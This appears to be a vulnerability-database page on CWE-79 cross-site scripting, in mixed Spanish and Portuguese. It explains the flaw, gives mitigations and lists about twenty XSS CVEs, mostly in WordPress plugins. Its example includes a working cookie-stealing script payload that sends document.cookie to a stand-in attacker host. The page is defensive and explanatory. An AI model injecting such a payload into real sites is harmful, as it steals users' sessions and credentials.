Fallos del tipo CWE-79

30.494 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-22628HIGHWordPress Filled In Plugin <= 1.9.2 - CSRF to Stored XSS vulnerabilityEPSS 0.2%CVE-2025-57989MEDIUMWordPress WordPress Widgets Shortcode Plugin <= 1.0.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58452LOWWeGIA vulnerable to Reflected Cross-Site Scripting (XSS) in endpoint 'listar_despachos.php' parameter 'id_memorando'EPSS 0.2%CVE-2025-23687HIGHWordPress Woo Store Mode plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-53223HIGHWordPress Theme Switcher Reloaded Plugin <= 1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-57681MEDIUMThe WorklogPRO - Timesheets for Jira plugin in Jira Data Center before version 4.23.6-jira10 and before version 4.23.5-jira9 allows users anEPSS 0.2%CVE-2026-61995HIGHWordPress YouTube Showcase plugin <= 4.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-10024MEDIUMTinyMCE shortcode Addon <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'btnrel' Shortcode AttributeEPSS 0.2%CVE-2025-31102HIGHWordPress Hostel plugin <= 1.1.5.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-13748MEDIUMUltimate Classified Listings <= 1.4 Authenticated (Administrator+) Stored Cross-Site Scripting via Title ParameterEPSS 0.2%CVE-2025-23744HIGHWordPress Random Posts, Mp3 Player + ShareButton plugin <= 1.4.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-47610MEDIUMWordPress WooCommerce Fortnox Integration <= 4.5.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-62031HIGHWordPress tagDiv Composer plugin <= 5.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-53224HIGHWordPress NextGEN Gallery Search Plugin <= 2.12 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-23845HIGHWordPress ImageMeta Plugin <= 1.1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-63544MEDIUMTechStore 1.0 is vulnerable to Cross Site Scripting (XSS) in /order_notes via the id parameter.EPSS 0.2%CVE-2025-50976MEDIUMIPFire 2.29 DNS management interface (dns.cgi) fails to properly sanitize user-supplied input in the NAMESERVER, REMARK, and TLS_HOSTNAME quEPSS 0.2%CVE-2026-0949MEDIUMPEM versions prior to 9.8.1 are affected by a stored Cross-site Scripting (XSS) vulnerability that allows users with access to the Manage ChEPSS 0.2%CVE-2025-49911HIGHWordPress WooCommerce Vehicle Parts Finder plugin <= 3.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-57967MEDIUMWordPress WPB Quick View for WooCommerce plugin <= 2.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%